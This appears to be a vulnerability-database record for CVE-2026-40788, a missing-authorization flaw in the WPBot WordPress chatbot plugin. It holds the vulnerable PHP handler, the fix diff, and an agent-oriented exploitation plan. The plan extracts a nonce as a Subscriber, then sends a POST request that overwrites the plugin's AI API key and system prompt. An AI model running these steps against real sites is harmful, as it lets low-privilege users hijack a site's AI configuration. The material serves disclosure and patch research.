[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$feVsF5FY6FFszZcG3NhiWMejSzkVbac6K6ObfIscEAr8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-40788","wpbot-ai-chatbot-for-live-support-lead-generation-ai-services-missing-authorization","WPBot – AI ChatBot for Live Support, Lead Generation, AI Services \u003C= 7.9.7 - Missing Authorization","The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 7.9.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","chatbot",null,"\u003C=7.9.7","7.9.9","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-23 00:00:00","2026-04-30 14:53:34",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa3f0556e-a875-4f88-b96c-a924f8fe01da?source=api-prod",8,[22,23,24,25,26,27,28,29],"includes\u002Fadmin\u002Ftemplates\u002Fai-admin.php","includes\u002Fadmin\u002Ftemplates\u002Fcommon-ai-settings.php","includes\u002Fclass-common-function.php","includes\u002Fintegration\u002Fgemini\u002Fqcld-bot-gemini.php","includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php","includes\u002Fintegration\u002Fopenai\u002Fqcld-bot-openai.php","includes\u002Fintegration\u002Fopenrouter\u002Fqcld-bot-openrouter.php","includes\u002Fopenai\u002Fqcld-bot-openai.php","researched",false,3,"# Vulnerability Research Plan: CVE-2026-40788 (WPBot Missing Authorization)\n\n## 1. Vulnerability Summary\nThe WPBot plugin (\u003C= 7.9.7) contains a missing authorization vulnerability in its Grok AI integration. Specifically, the AJAX handler `qcld_grok_settings_option_callback` verifies a WordPress nonce but fails to check for administrative capabilities (e.g., `manage_options`). This allows an authenticated attacker with at least Subscriber-level access to modify sensitive plugin settings, such as API keys and AI provider configurations.\n\nThe vulnerability is confirmed by comparing the Grok implementation in `includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php` (which lacks the check) with the Gemini implementation in `includes\u002Fintegration\u002Fgemini\u002Fqcld-bot-gemini.php` (which correctly implements `current_user_can('manage_options')`).\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `qcld_grok_settings_option`\n- **Parameter:** `nonce` (required), various setting fields (e.g., `grok_api_key`, `grok_enabled`).\n- **Authentication:** Authenticated (Subscriber+).\n- **Preconditions:** The attacker must be able to obtain a valid nonce for the `wp_chatbot` action.\n\n## 3. Code Flow\n1. **Hook Registration:** In `includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php`, the class `qcld_wpgrok_addons` registers the AJAX handler:\n   ```php\n   add_action( 'wp_ajax_qcld_grok_settings_option', array( $this, 'qcld_grok_settings_option_callback' ) );\n   ```\n2. **Vulnerable Function Call:** When a request is sent to `admin-ajax.php?action=qcld_grok_settings_option`, the `qcld_grok_settings_option_callback` function is executed.\n3. **Nonce Verification:** The function checks the nonce:\n   ```php\n   $nonce = sanitize_text_field( $_POST['nonce'] );\n   if ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) { ... }\n   ```\n4. **Missing Authorization Sink:** After the nonce check, the function proceeds directly to updating options using `update_option()` without calling `current_user_can()`.\n   ```php\n   $grok_api_key = sanitize_text_field( $_POST['grok_api_key'] ?? '' );\n   update_option( 'qcld_grok_api_key', $grok_api_key );\n   \u002F\u002F ... other update_option calls ...\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe `wp_chatbot` nonce is localized in the `qcld_wb_chatbot_grok_admin_scripts` function within `includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php`:\n```php\nwp_localize_script(\n    'qcld-wp-chatbot-grok-admin',\n    'ajax_object',\n    array(\n        'ajax_url'   => admin_url( 'admin-ajax.php' ),\n        'ajax_nonce' => wp_create_nonce( 'wp_chatbot' ),\n        ...\n    )\n);\n```\nThis script is enqueued on specific admin pages, including `wpbot_openAi`.\n\n**Plan for Agent:**\n1. Log in to WordPress as a Subscriber.\n2. Navigate to `\u002Fwp-admin\u002Fadmin.php?page=wpbot_openAi` (even if access is restricted, the enqueuing logic in the constructor may trigger the localization if the menu registration uses low capabilities).\n3. Extract the nonce using `browser_eval`:\n   `browser_eval(\"window.ajax_object?.ajax_nonce\")`\n4. If `ajax_object` is undefined, check for `qcld_gemini_admin_data.ajax_nonce` as an alternative (used in Gemini\u002FOpenRouter logic).\n\n## 5. Exploitation Strategy\nThe goal is to modify the `qcld_grok_api_key` and `qcld_grok_enabled` options.\n\n**HTTP Request (via `http_request` tool):**\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** \n  - `Content-Type: application\u002Fx-www-form-urlencoded`\n  - `Cookie: [Subscriber session cookies]`\n- **Body:**\n  ```text\n  action=qcld_grok_settings_option&nonce=[EXTRACTED_NONCE]&grok_api_key=CVE-2026-40788-PWNED&grok_enabled=1&grok_model=grok-latest&qcld_grok_system_content=Attacker-Controlled-System-Prompt&openai_post_type[]=post\n  ```\n\n## 6. Test Data Setup\n1. Install and activate the `chatbot` plugin (v7.9.7).\n2. Create a Subscriber user.\n3. (Optional) Ensure Grok is not already configured so the change is obvious.\n\n## 7. Expected Results\n- The AJAX request should return a JSON response (likely `1` or a string indicating success, based on `echo json_encode( $grok_enabled );`).\n- The WordPress database should reflect the modified options.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the modification using WP-CLI:\n```bash\nwp option get qcld_grok_api_key\nwp option get qcld_grok_enabled\nwp option get qcld_grok_system_content\n```\nIf the values match the payload (`CVE-2026-40788-PWNED`, `1`, `Attacker-Controlled-System-Prompt`), the exploit is successful.\n\n## 9. Alternative Approaches\nIf the Grok endpoint fails or is patched in a specific environment, investigate:\n- `openai_settings_option_callback` (Action: `openai_settings_option`)\n- `rag_settings_option_callback` (Action: `qcld_rag_settings_option`)\nCheck if these also lack `current_user_can('manage_options')`. The Grok integration is the most likely target due to the explicit lack of the check found in its Gemini counterpart.","The WPBot plugin's Grok AI integration fails to perform a capability check in its AJAX handler, allowing authenticated users with subscriber-level permissions to modify sensitive plugin settings. An attacker can change API keys, models, and AI system prompts, potentially redirecting AI services or disrupting bot functionality.","\u002F* includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php:147 *\u002F\n\n\t\tpublic function qcld_grok_settings_option_callback() {\n\t\t\t$nonce = sanitize_text_field( $_POST['nonce'] );\n\t\t\tif ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) {\n\t\t\t\twp_send_json(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'success' => false,\n\t\t\t\t\t\t'msg'     => esc_html__( 'Failed in Security check', 'wpchatbot' ),\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\twp_die();\n\t\t\t} else {\n\t\t\t\t$grok_api_key                      = sanitize_text_field( $_POST['grok_api_key'] ?? '' );\n\t\t\t\t$grok_model                        = sanitize_text_field( $_POST['grok_model'] ?? '' );\n\t\t\t\t$grok_enabled                      = sanitize_text_field( $_POST['grok_enabled'] );\n\t\t\t\t$qcld_grok_page_suggestion_enabled = sanitize_text_field( $_POST['qcld_grok_page_suggestion_enabled'] );\n\t\t\t\t$qcld_grok_append_content          = sanitize_text_field( $_POST['qcld_grok_append_content'] ) ?? '';\n\t\t\t\t$qcld_grok_prepend_content         = sanitize_text_field( $_POST['qcld_grok_prepend_content'] ) ?? '';\n\t\t\t\t$grok_rag_enabled\t\t\t\t   = sanitize_text_field( $_POST['grok_rag_enabled'] ) ?? '';\n                $qcld_grok_system_content          = sanitize_text_field( $_POST['qcld_grok_system_content'] ) ?? '';\n                $grok_stream_enabled               = sanitize_text_field( $_POST['grok_stream_enabled'] ) ?? '';\n\t\t\t\t$grok_management_api_key\t\t   = sanitize_text_field( $_POST['grok_management_api_key'] ?? '' );\n\t\t\t\t$grok_collection_id\t\t\t       = sanitize_text_field( $_POST['grok_collection_id'] ?? '' );\n\n\t\t\t\tif ( $grok_management_api_key != '' ) {\n\t\t\t\t\tupdate_option( 'qcld_grok_management_api_key', $grok_management_api_key );\n\t\t\t\t}\t\n\t\t\t\tif ( $grok_rag_enabled != '' ) {\n\t\t\t\t\tupdate_option( 'qcld_grok_rag_enabled', $grok_rag_enabled );\n\t\t\t\t}\n                if ( $grok_stream_enabled != '' ) {\n                    update_option( 'qcld_grok_stream_enabled', $grok_stream_enabled );\n                }\n\t\t\t\tif ( $grok_api_key != '' ) {\n\t\t\t\t\tupdate_option( 'qcld_grok_api_key', $grok_api_key );\n\t\t\t\t}\n\t\t\t\tif ( $grok_model != '' ) {\n\t\t\t\t\tupdate_option( 'qcld_grok_model', $grok_model );\n\t\t\t\t}\n\t\t\t\tif ( $grok_enabled != '' ) {\n\t\t\t\t\tupdate_option( 'qcld_grok_enabled', $grok_enabled );\n\t\t\t\t}\n                \u002F\u002F ... (truncated)","--- includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php\n+++ includes\u002Fintegration\u002Fgrok\u002Fqcld-bot-grok.php\n@@ -154,6 +154,9 @@\n \t\t\t\t);\n \t\t\t\twp_die();\n-\t\t\t} else {\n+\t\t\t} elseif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\twp_send_json( array( 'success' => false, 'msg' => esc_html__( 'Unauthorized user', 'wpchatbot' ) ) );\n+\t\t\t\twp_die();\n+\t\t\t} else {\n \t\t\t\t$grok_api_key                      = sanitize_text_field( $_POST['grok_api_key'] ?? '' );","1. Log in as an authenticated user with at least Subscriber-level privileges.\n2. Locate or extract a valid WordPress nonce for the 'wp_chatbot' action, typically accessible via localized scripts on the plugin's administration dashboard pages.\n3. Construct a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' parameter set to 'qcld_grok_settings_option'.\n4. Include the 'nonce' and payload parameters such as 'grok_api_key', 'grok_enabled', 'grok_model', and 'qcld_grok_system_content' to overwrite existing AI configuration.\n5. The plugin will execute 'update_option' for these parameters without verifying if the requesting user has 'manage_options' capabilities.","gemini-3-flash-preview","2026-05-04 18:44:44","2026-05-04 18:45:27",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","7.9.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags\u002F7.9.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fchatbot.7.9.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags\u002F7.9.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fchatbot.7.9.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fchatbot\u002Ftags"]